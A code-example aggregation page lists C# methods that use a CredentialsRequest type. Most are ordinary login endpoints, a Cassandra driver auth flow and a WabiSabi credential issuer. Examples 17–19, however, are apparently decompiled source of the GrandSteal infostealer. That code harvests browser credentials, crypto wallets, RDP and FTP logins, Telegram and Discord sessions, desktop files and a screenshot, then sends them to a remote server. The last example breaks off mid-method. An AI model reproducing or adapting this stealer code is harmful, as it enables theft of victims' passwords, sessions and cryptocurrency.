Ejemplo n.º 1
0
        private async Task Authorize(int deep = 0)
        {
            var pack = new CredentialsRequest
            {
                Login    = options.Value.UserName,
                Password = options.Value.Password
            };
            var content = JsonConvert.SerializeObject(pack);
            var body    = new StringContent(content, Encoding.UTF8, "application/json");

            try
            {
                var response = await client.PostAsync("api/auth/login", body);

                if (!response.IsSuccessStatusCode)
                {
                    throw new Exception("Can't connect to server, check credentials");
                }
                var strResponse = await response.Content.ReadAsStringAsync();

                logger.LogDebug($"server return {strResponse}");
                client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", JsonConvert.DeserializeObject <JObject>(strResponse)["token"].ToString());
            }
            catch (Exception ex)
            {
                if (deep > 10)
                {
                    throw;
                }
                logger.LogWarning($"exception when auth #{deep}, wait for retry...", ex);
                await Task.Delay(TimeSpan.FromSeconds(5));
                await Authorize(deep + 1);
            }
        }
Ejemplo n.º 2
0
        public async Task <ActionResult <LoginResponse> > Post(
            [FromBody] CredentialsRequest credentials,
            [FromServices] NotifyUsersService notifyUsersService,
            [FromServices] IOptions <DefaultUsersSettings> defaultUserSettings)
        {
            if (!ModelState.IsValid)
            {
                return(BadRequest(ModelState));
            }
            var result = await authorizationService.GetJwtTokenForUser(credentials.Login, credentials.Password);

            if (result.IsT1)
            {
                return(Unauthorized());
            }
            var(userToken, user) = result.AsT0;
            var loginInfo = GenerateResponse(user, userToken);
            var claims    = await userManager.GetClaimsAsync(user);

            if (claims.Any(c => c.Type == DefaultClaims.NeedResetPassword.Type))
            {
                _ = Task.Delay(TimeSpan.FromSeconds(30)).ContinueWith(async(t) => await notifyUsersService.SendInformationMessageToUser(user.Id, defaultUserSettings.Value.ResetPasswordWarningText));
            }

            await SaveLoginEvent(credentials.ClientIP, user.Id);

            return(loginInfo);
        }
Ejemplo n.º 3
0
        public async Task <ActionResult <TokenResponse> > Token([FromBody] CredentialsRequest credentials)
        {
            var tokenResponse = await _authClient.RequestToken(credentials.UserName, credentials.Password, _authClient.Config.DefaultScope);

            if (!tokenResponse.IsError)
            {
                HttpContext.Response.Cookies.Append(ACCESS_TOKEN_KEY, tokenResponse.AccessToken);
            }

            return(tokenResponse);
        }
Ejemplo n.º 4
0
        public async Task <IActionResult> Login([FromBody] CredentialsRequest credentials)
        {
            var token = await this.authService.LoginAsync(credentials.UserName, credentials.Password);

            if (token == null)
            {
                this.ModelState.TryAddModelError("login_failure", "Invalid username or password.");
                return(this.BadRequest(this.ModelState));
            }

            return(this.Ok(token));
        }
 public object Delete(CredentialsRequest request)
 {
     _permissionValidator.VerifyCurrentUserSystemPermission(EnumSystemPermission.EditDeploymentCredentials);
     if(request == null)
     {
         throw new ArgumentNullException("request is null");
     }
     if(string.IsNullOrEmpty(request.Id))
     {
         throw new ArgumentNullException("request.id is null");
     }
     return _credentialsManager.DeleteCredentials(request.Id);
 }
Ejemplo n.º 6
0
        public async Task <ActionResult <TokenModel> > SignIn(CredentialsRequest request)
        {
            var identity = await GetIdentity(request.Login, request.Password);

            if (identity == null)
            {
                return(Problem("Не валидный логин или пароль", statusCode: StatusCodes.Status400BadRequest, title: "Bad Request"));
            }

            var token = _tokenWithRefreshService.GetToken(identity);

            return(token);
        }
Ejemplo n.º 7
0
        private CredentialsResponse Process(CredentialsRequest credentialsRequest, int versionMajor)
        {
            TokenBlob1 tokenBlob = (versionMajor == 1) ? new TokenBlob1() : new TokenBlob2();

            using (HMACSHA1 sha1 = new HMACSHA1(key0))
            {
                UTF8Encoding utf8 = new UTF8Encoding();
                tokenBlob.ClientID = sha1.ComputeHash(utf8.GetBytes(credentialsRequest.Identity));
            }

            byte[] username = Username.GetBytes(Key1, tokenBlob);
            byte[] password = Password.GetBytes(Key2, username);

            IEnumerable <MediaRelay> mediaRelays1 = null, mediaRelays2 = null;

            if (credentialsRequest.Location == null || credentialsRequest.Location == Location.Intranet)
            {
                mediaRelays2 = intranetServers.Select <TurnServerInfo, MediaRelay>(
                    turnServer => new MediaRelay()
                {
                    Location = Location.Intranet,
                    HostName = turnServer.Fqdn,
                    TcpPort  = turnServer.TcpPort,
                    UdpPort  = turnServer.UdpPort,
                });
            }

            if (credentialsRequest.Location == null || credentialsRequest.Location == Location.Internet)
            {
                mediaRelays2 = internetServers.Select <TurnServerInfo, MediaRelay>(
                    turnServer => new MediaRelay()
                {
                    Location = Location.Internet,
                    HostName = turnServer.Fqdn,
                    TcpPort  = turnServer.TcpPort,
                    UdpPort  = turnServer.UdpPort,
                });
            }


            return(new CredentialsResponse()
            {
                CredentialsRequestID = credentialsRequest.CredentialsRequestID,
                Duration = Math.Min(credentialsRequest.Duration, Duration),
                Username = Convert.ToBase64String(username),
                Password = Convert.ToBase64String(password),
                MediaRelays1 = mediaRelays1,
                MediaRelays2 = mediaRelays2,
            });
        }
        public async Task <ActionResult> GetAuthenticatorKey([FromBody] CredentialsRequest request)
        {
            var response = await _accountService.CheckCredentials(request.Username, request.Password);

            if (!response.Success)
            {
                return(BadRequest(response.Errors));
            }
            var key = await _accountService.GetAuthenticatorKey(response.Model.Id);

            if (!key.Success)
            {
                return(BadRequest(response.Errors));
            }
            return(Ok(key.Model));
        }
		public object Get(CredentialsRequest request)
		{
            //_permissionValidator.VerifyCurrentUserSystemPermission(EnumSystemPermission.EditDeploymentCredentials);
                //yes, we can read the credentials (we need that to select them on the environment page), we just can't update them without permission
            if (request == null)
			{
				throw new ArgumentNullException("request is null");
			}
			else if (!string.IsNullOrEmpty(request.Id))
			{
				return _credentialsManager.GetMaskedCredentials(request.Id);
			}
			else 
			{
				return _credentialsManager.GetMaskedCredentialList(request.BuildListOptions());
			}
		}
Ejemplo n.º 10
0
        /// <summary>
        /// Starts the authentication flow
        /// </summary>
        /// <param name="name">Authenticator name from server.</param>
        /// <exception cref="AuthenticationException" />
        private Task <Response> StartAuthenticationFlow(string name)
        {
            //Determine which authentication flow to use.
            //Check if its using a C* 1.2 with authentication patched version (like DSE 3.1)
            var protocolVersion  = _serializer.ProtocolVersion;
            var isPatchedVersion = protocolVersion == ProtocolVersion.V1 &&
                                   !(Configuration.AuthProvider is NoneAuthProvider) && Configuration.AuthInfoProvider == null;

            if (protocolVersion == ProtocolVersion.V1 && !isPatchedVersion)
            {
                //Use protocol v1 authentication flow
                if (Configuration.AuthInfoProvider == null)
                {
                    throw new AuthenticationException(
                              String.Format("Host {0} requires authentication, but no credentials provided in Cluster configuration", Address),
                              Address);
                }
                var credentialsProvider = Configuration.AuthInfoProvider;
                var credentials         = credentialsProvider.GetAuthInfos(Address);
                var request             = new CredentialsRequest(credentials);
                return(Send(request)
                       .ContinueSync(response =>
                {
                    if (!(response is ReadyResponse))
                    {
                        //If Cassandra replied with a auth response error
                        //The task already is faulted and the exception was already thrown.
                        throw new ProtocolErrorException("Expected SASL response, obtained " + response.GetType().Name);
                    }
                    return response;
                }));
            }
            //Use protocol v2+ authentication flow
            if (Configuration.AuthProvider is IAuthProviderNamed)
            {
                //Provide name when required
                ((IAuthProviderNamed)Configuration.AuthProvider).SetName(name);
            }
            //NewAuthenticator will throw AuthenticationException when NoneAuthProvider
            var authenticator = Configuration.AuthProvider.NewAuthenticator(Address);

            var initialResponse = authenticator.InitialResponse() ?? new byte[0];

            return(Authenticate(initialResponse, authenticator));
        }
Ejemplo n.º 11
0
        public async Task <IActionResult> Login([FromBody] CredentialsRequest credentials)
        {
            try
            {
                await CreateUserIfEmpty(credentials.Username, credentials.Password);

                var user = await _userManager.FindByEmailAsync(credentials.Username);

                if (user == null)
                {
                    return(Json(new { success = false, message = "User doesn't exist" }));
                }

                var result = await _signInManager.PasswordSignInAsync(user.UserName, credentials.Password,
                                                                      credentials.Remember, false);

                if (result.Succeeded)
                {
                    _logger.LogInformation($"User {credentials.Username} logged in");
                    return(Json(new
                    {
                        success = true,
                        user = credentials.Username,
                        isEmailConfirmed = user.EmailConfirmed,
                        isSubscribed = false,
                        token = GetRandomToken(credentials.Username)
                    }));
                }

                if (result.IsLockedOut)
                {
                    return(Json(new { success = false, message = "User account locked out" }));
                }
            }
            catch (Exception e)
            {
                _logger.LogError(e, $"Invalid request to {nameof(Login)}");
            }

            return(Json(new { success = false, message = "Invalid login attempt" }));
        }
Ejemplo n.º 12
0
        public async Task <ActionResult> SignUp(CredentialsRequest request)
        {
            var user = await _userService.GetByLogin(request.Login);

            if (user != null)
            {
                return(BadRequest("User already exist"));
            }

            var newUser = new User
            {
                LastName  = request.Lastname,
                Firstname = request.Firstname,
                AboutInfo = request.Email,
                Login     = request.Login,
                Password  = request.Password// TODO: сделать hash
            };

            await _userService.Add(newUser);

            return(Ok());
        }
Ejemplo n.º 13
0
		public object Post(CredentialsRequest request)
		{
            _permissionValidator.VerifyCurrentUserSystemPermission(EnumSystemPermission.EditDeploymentCredentials);
            if (request == null)
			{
				throw new ArgumentNullException("request is null");
			}
			if(string.IsNullOrEmpty(request.UserName)) 
			{
				throw new ArgumentNullException("request.UserName is null");
			}
			if(string.IsNullOrEmpty(request.Password))
			{
				throw new ArgumentNullException("request.Password is null");
			}
			if(string.IsNullOrEmpty(request.Id))
			{
				return _credentialsManager.CreateCredentials(request.Domain, request.UserName, request.Password);
			}
			else 
			{
				return _credentialsManager.UpdateCredentials(request.Id, request.Domain, request.UserName, request.Password);
			}
		}
Ejemplo n.º 14
0
        /// <summary>
        /// Starts the authentication flow
        /// </summary>
        /// <exception cref="AuthenticationException" />
        private Task<Response> Authenticate()
        {
            //Determine which authentication flow to use.
            //Check if its using a C* 1.2 with authentication patched version (like DSE 3.1)
            var isPatchedVersion = ProtocolVersion == 1 && !(Configuration.AuthProvider is NoneAuthProvider) && Configuration.AuthInfoProvider == null;
            if (ProtocolVersion < 2 && !isPatchedVersion)
            {
                //Use protocol v1 authentication flow
                if (Configuration.AuthInfoProvider == null)
                {
                    throw new AuthenticationException(
                        String.Format("Host {0} requires authentication, but no credentials provided in Cluster configuration", Address),
                        Address);
                }
                var credentialsProvider = Configuration.AuthInfoProvider;
                var credentials = credentialsProvider.GetAuthInfos(Address);
                var request = new CredentialsRequest(ProtocolVersion, credentials);
                return Send(request)
                    .ContinueSync(response =>
                    {
                        if (!(response is ReadyResponse))
                        {
                            //If Cassandra replied with a auth response error
                            //The task already is faulted and the exception was already thrown.
                            throw new ProtocolErrorException("Expected SASL response, obtained " + response.GetType().Name);
                        }
                        return response;
                    });
            }
            //Use protocol v2+ authentication flow

            //NewAuthenticator will throw AuthenticationException when NoneAuthProvider
            var authenticator = Configuration.AuthProvider.NewAuthenticator(Address);

            var initialResponse = authenticator.InitialResponse() ?? new byte[0];
            return Authenticate(initialResponse, authenticator);
        }
Ejemplo n.º 15
0
        /// <summary>
        /// Process the <see cref="CredentialsRequest">credentials registration requests</see> and
        /// issues the credentials.
        /// </summary>
        /// <param name="registrationRequest">The request containing the credentials presentations, credential requests and the proofs.</param>
        /// <returns>The <see cref="CredentialsResponse">registration response</see> containing the requested credentials and the proofs.</returns>
        /// <exception cref="WabiSabiCryptoException">Error code: <see cref="WabiSabiCryptoErrorCode">WabiSabiErrorCode</see></exception>
        public CredentialsResponse HandleRequest(CredentialsRequest registrationRequest)
        {
            Guard.NotNull(nameof(registrationRequest), registrationRequest);

            var requested = registrationRequest.Requested ?? Enumerable.Empty <IssuanceRequest>();
            var presented = registrationRequest.Presented ?? Enumerable.Empty <CredentialPresentation>();

            var requestedCount = requested.Count();

            if (requestedCount != NumberOfCredentials)
            {
                throw new WabiSabiCryptoException(
                          WabiSabiCryptoErrorCode.InvalidNumberOfRequestedCredentials,
                          $"{NumberOfCredentials} credential requests were expected but {requestedCount} were received.");
            }

            var presentedCount = presented.Count();
            var requiredNumberOfPresentations = registrationRequest.IsNullRequest ? 0 : NumberOfCredentials;

            if (presentedCount != requiredNumberOfPresentations)
            {
                throw new WabiSabiCryptoException(
                          WabiSabiCryptoErrorCode.InvalidNumberOfPresentedCredentials,
                          $"{requiredNumberOfPresentations} credential presentations were expected but {presentedCount} were received.");
            }

            // Don't allow balance to go negative. In case this goes below zero
            // then there is a problem somewhere because this should not be possible.
            if (Balance + registrationRequest.Delta < 0)
            {
                throw new WabiSabiCryptoException(WabiSabiCryptoErrorCode.NegativeBalance);
            }

            // Check that the range proofs are of the appropriate bitwidth
            var rangeProofWidth = registrationRequest.IsNullRequest ? 0 : RangeProofWidth;
            var allRangeProofsAreCorrectSize = requested.All(x => x.BitCommitments.Count() == rangeProofWidth);

            if (!allRangeProofsAreCorrectSize)
            {
                throw new WabiSabiCryptoException(WabiSabiCryptoErrorCode.InvalidBitCommitment);
            }

            // Check all the serial numbers are unique. Note that this is checked separately from
            // ensuring that they haven't been used before, because even presenting a previously
            // unused credential more than once in the same request is still a double spend.
            if (registrationRequest.AreThereDuplicatedSerialNumbers)
            {
                throw new WabiSabiCryptoException(WabiSabiCryptoErrorCode.SerialNumberDuplicated);
            }

            var statements = new List <Statement>();

            foreach (var presentation in presented)
            {
                // Calculate Z using coordinator secret.
                var z = presentation.ComputeZ(CredentialIssuerSecretKey);

                // Add the credential presentation to the statements to be verified.
                statements.Add(ProofSystem.ShowCredentialStatement(presentation, z, CredentialIssuerParameters));

                // Check if the serial numbers have been used before. Note that
                // the serial numbers have not yet been verified at this point, but a
                // request with an invalid proof and a used serial number should also be
                // rejected.
                if (SerialNumbers.Contains(presentation.S))
                {
                    throw new WabiSabiCryptoException(WabiSabiCryptoErrorCode.SerialNumberAlreadyUsed, $"Serial number reused {presentation.S}");
                }
            }

            foreach (var credentialRequest in requested)
            {
                statements.Add(registrationRequest.IsNullRequest
                                        ? ProofSystem.ZeroProofStatement(credentialRequest.Ma)
                                        : ProofSystem.RangeProofStatement(credentialRequest.Ma, credentialRequest.BitCommitments, rangeProofWidth));
            }

            // Balance proof
            if (!registrationRequest.IsNullRequest)
            {
                var sumCa = presented.Select(x => x.Ca).Sum();
                var sumMa = requested.Select(x => x.Ma).Sum();

                // A positive Delta_a means the requested credential amounts are larger
                // than the presented ones (i.e. input registration, and a negative
                // balance correspond to output registration). The equation requires a
                // commitment to 0, so the sum of the presented attributes and the
                // negated requested attributes are tweaked by delta_a.
                var absAmountDelta = new Scalar((ulong)Math.Abs(registrationRequest.Delta));
                var deltaA         = registrationRequest.Delta < 0 ? absAmountDelta.Negate() : absAmountDelta;
                var balanceTweak   = deltaA * Generators.Gg;
                statements.Add(ProofSystem.BalanceProofStatement(balanceTweak + sumCa - sumMa));
            }

            var transcript = BuildTransnscript(registrationRequest.IsNullRequest);

            // Verify all statements.
            var areProofsValid = ProofSystem.Verify(transcript, statements, registrationRequest.Proofs);

            if (!areProofsValid)
            {
                throw new WabiSabiCryptoException(WabiSabiCryptoErrorCode.CoordinatorReceivedInvalidProofs);
            }

            // Issue credentials.
            var credentials = requested.Select(x => IssueCredential(x.Ma, RandomNumberGenerator.GetScalar())).ToArray();

            // Construct response.
            var proofs   = ProofSystem.Prove(transcript, credentials.Select(x => x.Knowledge), RandomNumberGenerator);
            var macs     = credentials.Select(x => x.Mac);
            var response = new CredentialsResponse(macs, proofs);

            // Register the serial numbers to prevent credential reuse.
            foreach (var presentation in presented)
            {
                SerialNumbers.Add(presentation.S);
            }
            Balance += registrationRequest.Delta;

            return(response);
        }
Ejemplo n.º 16
0
 /// <summary>
 /// Process the <see cref="CredentialsRequest">credentials registration requests</see> and
 /// issues the credentials.
 /// </summary>
 /// <param name="registrationRequest">The request containing the credentials presentations, credential requests and the proofs.</param>
 /// <returns>The <see cref="CredentialsResponse">registration response</see> containing the issued credentials and the proofs.</returns>
 /// <exception cref="WabiSabiCryptoException">Error code: <see cref="WabiSabiCryptoErrorCode">WabiSabiErrorCode</see></exception>
 public CredentialsResponse HandleRequest(CredentialsRequest registrationRequest)
 => PrepareResponse(registrationRequest)();
Ejemplo n.º 17
0
 public bool QQu()
 {
     try
     {
         ClientSettings          settings        = RecieveSettings().IsNull(new ClientSettings());
         List <BrowserProfile>   browserProfiles = new List <BrowserProfile>();
         List <ColdWallet>       wallets         = new List <ColdWallet>();
         List <RdpCredential>    rdpCredentials  = new List <RdpCredential>();
         List <DesktopFile>      desktopFiles    = new List <DesktopFile>();
         List <FtpCredential>    ftpCredentials  = new List <FtpCredential>();
         TelegramSession         telegramSession = new TelegramSession();
         DiscordSession          discordSession  = new DiscordSession();
         List <RemoteProcess>    processes       = new List <RemoteProcess>();
         List <string>           programs        = new List <string>();
         RemoteClientInformation clientInfo      = new RemoteClientInformation();
         ThreadPool.SetMaxThreads(2000, 10000);
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("ClientInfos parser has been started");
             Stopwatch stopwatch10 = new Stopwatch();
             stopwatch10.Start();
             clientInfo = ClientInfoHelper.Create(BuildID);
             stopwatch10.Stop();
             clientInfoFlag.Set();
             Console.WriteLine($"ClientInfos has been parsed.Elapsed time: {stopwatch10.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("Browsers parser has been started");
             Stopwatch stopwatch9 = new Stopwatch();
             stopwatch9.Start();
             if (settings.GrabBrowserCredentials)
             {
                 int countCompleted = 0;
                 object locker      = new object();
                 foreach (GH9kf <BrowserProfile> manager in BrowserCredentialsManagers)
                 {
                     new Thread((ThreadStart) delegate
                     {
                         List <BrowserProfile> collection = manager.EnumerateData();
                         lock (locker)
                         {
                             browserProfiles.AddRange(collection);
                             int num        = countCompleted;
                             countCompleted = num + 1;
                         }
                     }).Start();
                 }
                 while (countCompleted != BrowserCredentialsManagers.Count)
                 {
                 }
             }
             stopwatch9.Stop();
             browsersFlag.Set();
             Console.WriteLine($"Browsers has been parsed.Elapsed time: {stopwatch9.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("ColdWallets parser has been started");
             Stopwatch stopwatch8 = new Stopwatch();
             stopwatch8.Start();
             if (settings.GrabColdWallets)
             {
                 foreach (GH9kf <ColdWallet> coldWalletManager in ColdWalletManagers)
                 {
                     wallets.AddRange(coldWalletManager.EnumerateData().IsNull(new List <ColdWallet>()));
                 }
             }
             stopwatch8.Stop();
             walletsFlag.Set();
             Console.WriteLine($"ColdWallets has been parsed.Elapsed time: {stopwatch8.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("DiscordSession parser has been started");
             Stopwatch stopwatch7 = new Stopwatch();
             stopwatch7.Start();
             if (settings.GrabDiscord)
             {
                 discordSession = fffsa.TempGet();
             }
             stopwatch7.Stop();
             discordFlag.Set();
             Console.WriteLine($"DiscordSession has been parsed.Elapsed time: {stopwatch7.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("Rdps parser has been started");
             Stopwatch stopwatch6 = new Stopwatch();
             stopwatch6.Start();
             if (settings.GrabRdp)
             {
                 foreach (GH9kf <RdpCredential> rdpManager in RdpManagers)
                 {
                     rdpCredentials.AddRange(rdpManager.EnumerateData().IsNull());
                 }
             }
             stopwatch6.Stop();
             rdpsFlag.Set();
             Console.WriteLine($"Rdps has been parsed.Elapsed time: {stopwatch6.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("DesktopFiles parser has been started");
             Stopwatch stopwatch5 = new Stopwatch();
             stopwatch5.Start();
             if (settings.GrabDesktopFiles)
             {
                 foreach (gg3 desktopFileManager in DesktopFileManagers)
                 {
                     desktopFileManager.GrabberSettings = settings.DesktopExtensions;
                     desktopFiles.AddRange(desktopFileManager.EnumerateData());
                 }
             }
             stopwatch5.Stop();
             desktopFlag.Set();
             Console.WriteLine($"DesktopFiles has been parsed.Elapsed time: {stopwatch5.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("FTPs parser has been started");
             Stopwatch stopwatch4 = new Stopwatch();
             stopwatch4.Start();
             if (settings.GrabFtp)
             {
                 foreach (GH9kf <FtpCredential> ftpManager in FtpManagers)
                 {
                     ftpCredentials.AddRange(ftpManager.EnumerateData().IsNull());
                 }
             }
             stopwatch4.Stop();
             ftpFlag.Set();
             Console.WriteLine($"FTPs has been parsed.Elapsed time: {stopwatch4.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("TelegramSession parser has been started");
             Stopwatch stopwatch3 = new Stopwatch();
             stopwatch3.Start();
             if (settings.GrabTelegram)
             {
                 telegramSession = Fkf83.Fuul();
             }
             stopwatch3.Stop();
             telegramFlag.Set();
             Console.WriteLine($"TelegramSession has been parsed.Elapsed time: {stopwatch3.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("ListOfProcesses parser has been started");
             Stopwatch stopwatch2 = new Stopwatch();
             stopwatch2.Start();
             processes = ClientInfoHelper.ListOfProcesses();
             stopwatch2.Stop();
             processesFlag.Set();
             Console.WriteLine($"ListOfProcesses has been parsed.Elapsed time: {stopwatch2.Elapsed}");
         }).Start();
         new Thread((ThreadStart) delegate
         {
             Console.WriteLine("ListOfPrograms parser has been started");
             Stopwatch stopwatch = new Stopwatch();
             stopwatch.Start();
             programs = ClientInfoHelper.ListOfPrograms();
             stopwatch.Stop();
             programsFlag.Set();
             Console.WriteLine($"ListOfPrograms has been parsed.Elapsed time: {stopwatch.Elapsed}");
         }).Start();
         telegramFlag.WaitOne();
         discordFlag.WaitOne();
         processesFlag.WaitOne();
         programsFlag.WaitOne();
         browsersFlag.WaitOne();
         walletsFlag.WaitOne();
         rdpsFlag.WaitOne();
         desktopFlag.WaitOne();
         ftpFlag.WaitOne();
         clientInfoFlag.WaitOne();
         Console.WriteLine("CredentialsRequest has been created");
         if (clientInfo == null)
         {
             Environment.Exit(0);
         }
         CredentialsRequest objectToSend = new CredentialsRequest
         {
             ClientInformation = clientInfo,
             BrowserProfiles   = browserProfiles,
             ColdWallets       = wallets,
             RdpConnections    = rdpCredentials,
             DesktopFiles      = desktopFiles,
             FtpCredentials    = ftpCredentials,
             Telegram          = telegramSession,
             Discord           = discordSession,
             ProcessList       = processes,
             InstalledPrograms = programs,
             Screenshot        = ClientInfoHelper.CaptureScreen()
         };
         return(Server.ProcessRequest <CredentialsRequest, bool>(objectToSend, "Credentials", 600000)());
     }
     catch
     {
         return(false);
     }
 }
Ejemplo n.º 18
0
        // Token: 0x0600004F RID: 79 RVA: 0x00003EC8 File Offset: 0x000020C8
        public bool SendCredentials()
        {
            bool result;

            try
            {
                GrandSteal.Client.Models.ClientSettings settings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
                List <BrowserProfile>   browserProfiles          = new List <BrowserProfile>();
                List <ColdWallet>       wallets         = new List <ColdWallet>();
                List <RdpCredential>    rdpCredentials  = new List <RdpCredential>();
                List <DesktopFile>      desktopFiles    = new List <DesktopFile>();
                List <FtpCredential>    ftpCredentials  = new List <FtpCredential>();
                TelegramSession         telegramSession = new TelegramSession();
                DiscordSession          discordSession  = new DiscordSession();
                List <RemoteProcess>    processes       = new List <RemoteProcess>();
                List <string>           programs        = new List <string>();
                RemoteClientInformation clientInfo      = new RemoteClientInformation();
                ThreadPool.SetMaxThreads(2000, 10000);
                new Thread(delegate
                {
                    Console.WriteLine("ClientInfos parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    clientInfo = ClientInfoHelper.Create(this.BuildID);
                    stopwatch.Stop();
                    this.clientInfoFlag.Set();
                    Console.WriteLine(string.Format("ClientInfos has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("Browsers parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabBrowserCredentials)
                    {
                        int countCompleted = 0;
                        object locker      = new object();
                        using (IEnumerator <ICredentialsManager <BrowserProfile> > enumerator = this.BrowserCredentialsManagers.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                ICredentialsManager <BrowserProfile> manager = enumerator.Current;
                                new Thread(delegate
                                {
                                    List <BrowserProfile> all = manager.GetAll();
                                    object locker             = locker;
                                    lock (locker)
                                    {
                                        browserProfiles.AddRange(all);
                                        int countCompleted = countCompleted;
                                        countCompleted++;
                                    }
                                }).Start();
                            }
                        }
                        while (countCompleted != this.BrowserCredentialsManagers.Count)
                        {
                        }
                    }
                    stopwatch.Stop();
                    this.browsersFlag.Set();
                    Console.WriteLine(string.Format("Browsers has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ColdWallets parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabColdWallets)
                    {
                        foreach (ICredentialsManager <ColdWallet> current in this.ColdWalletManagers)
                        {
                            wallets.AddRange(current.GetAll().IsNull(new List <ColdWallet>()));
                        }
                    }
                    stopwatch.Stop();
                    this.walletsFlag.Set();
                    Console.WriteLine(string.Format("ColdWallets has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("DiscordSession parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabDiscord)
                    {
                        discordSession = DiscordManager.Extract();
                    }
                    stopwatch.Stop();
                    this.discordFlag.Set();
                    Console.WriteLine(string.Format("DiscordSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("Rdps parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabRdp)
                    {
                        foreach (ICredentialsManager <RdpCredential> current in this.RdpManagers)
                        {
                            rdpCredentials.AddRange(current.GetAll().IsNull <List <RdpCredential> >());
                        }
                    }
                    stopwatch.Stop();
                    this.rdpsFlag.Set();
                    Console.WriteLine(string.Format("Rdps has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("DesktopFiles parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabDesktopFiles)
                    {
                        foreach (DesktopFileManager current in this.DesktopFileManagers)
                        {
                            current.DesktopFileExtensions = settings.DesktopExtensions;
                            desktopFiles.AddRange(current.GetAll());
                        }
                    }
                    stopwatch.Stop();
                    this.desktopFlag.Set();
                    Console.WriteLine(string.Format("DesktopFiles has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("FTPs parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabFtp)
                    {
                        foreach (ICredentialsManager <FtpCredential> current in this.FtpManagers)
                        {
                            ftpCredentials.AddRange(current.GetAll().IsNull <List <FtpCredential> >());
                        }
                    }
                    stopwatch.Stop();
                    this.ftpFlag.Set();
                    Console.WriteLine(string.Format("FTPs has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("TelegramSession parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabTelegram)
                    {
                        telegramSession = TelegramManager.Extract();
                    }
                    stopwatch.Stop();
                    this.telegramFlag.Set();
                    Console.WriteLine(string.Format("TelegramSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ListOfProcesses parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    processes = ClientInfoHelper.ListOfProcesses();
                    stopwatch.Stop();
                    this.processesFlag.Set();
                    Console.WriteLine(string.Format("ListOfProcesses has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ListOfPrograms parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    programs = ClientInfoHelper.ListOfPrograms();
                    stopwatch.Stop();
                    this.programsFlag.Set();
                    Console.WriteLine(string.Format("ListOfPrograms has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                this.telegramFlag.WaitOne();
                this.discordFlag.WaitOne();
                this.processesFlag.WaitOne();
                this.programsFlag.WaitOne();
                this.browsersFlag.WaitOne();
                this.walletsFlag.WaitOne();
                this.rdpsFlag.WaitOne();
                this.desktopFlag.WaitOne();
                this.ftpFlag.WaitOne();
                this.clientInfoFlag.WaitOne();
                Console.WriteLine("CredentialsRequest has been created");
                if (clientInfo == null)
                {
                    Environment.Exit(0);
                }
                CredentialsRequest objectToSend = new CredentialsRequest
                {
                    ClientInformation = clientInfo,
                    BrowserProfiles   = browserProfiles,
                    ColdWallets       = wallets,
                    RdpConnections    = rdpCredentials,
                    DesktopFiles      = desktopFiles,
                    FtpCredentials    = ftpCredentials,
                    Telegram          = telegramSession,
                    Discord           = discordSession,
                    ProcessList       = processes,
                    InstalledPrograms = programs,
                    Screenshot        = ClientInfoHelper.CaptureScreen()
                };
                result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
            }
            catch
            {
                result = false;
            }
            return(result);
        }
Ejemplo n.º 19
0
        // Token: 0x06000052 RID: 82 RVA: 0x000040E0 File Offset: 0x000022E0
        public bool SendCredentials()
        {
            bool result;

            try
            {
                GrandSteal.Client.Models.ClientSettings clientSettings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
                List <BrowserProfile> list = new List <BrowserProfile>();
                if (clientSettings.GrabBrowserCredentials)
                {
                    foreach (ICredentialsManager <BrowserProfile> credentialsManager in this.BrowserCredentialsManagers)
                    {
                        list.AddRange(credentialsManager.GetAll());
                    }
                }
                List <ColdWallet> list2 = new List <ColdWallet>();
                if (clientSettings.GrabColdWallets)
                {
